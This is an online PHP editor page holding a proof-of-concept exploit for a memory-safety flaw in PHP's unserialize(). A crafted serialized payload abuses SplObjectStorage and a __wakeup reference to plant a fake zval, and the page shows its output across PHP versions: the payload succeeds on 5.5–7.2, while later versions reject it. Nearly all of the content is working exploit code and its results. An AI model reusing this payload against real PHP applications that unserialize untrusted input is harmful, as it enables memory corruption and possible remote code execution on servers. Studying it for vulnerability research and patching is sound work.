Online PHP editor | output for 4YieU

@ 2016-05-17T13:54:37Z

<?php
class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:1:{i:0;r:7;}';
	$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:7;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

Output for 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7: Fatal error: Uncaught UnexpectedValueException: Error at offset 46 of 47 bytes in /in/4YieU:19 Stack trace: #0 [internal function]: SplObjectStorage->unserialize('x:i:1;O:8:"stdC...') #1 /in/4YieU(19): unserialize('a:5:{i:0;i:1;i:...') #2 {main} thrown in /in/4YieU on line 19
Process exited with code 255.
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33: array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> *RECURSION* } [4]=> string(24) "�v�B" }
Output for 5.5.0 - 5.5.35, 5.6.0 - 5.6.28: array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } [3]=> &array(1) { [0]=> *RECURSION* } [4]=> string(24) "�v�B" }

preferences:dark modelive preview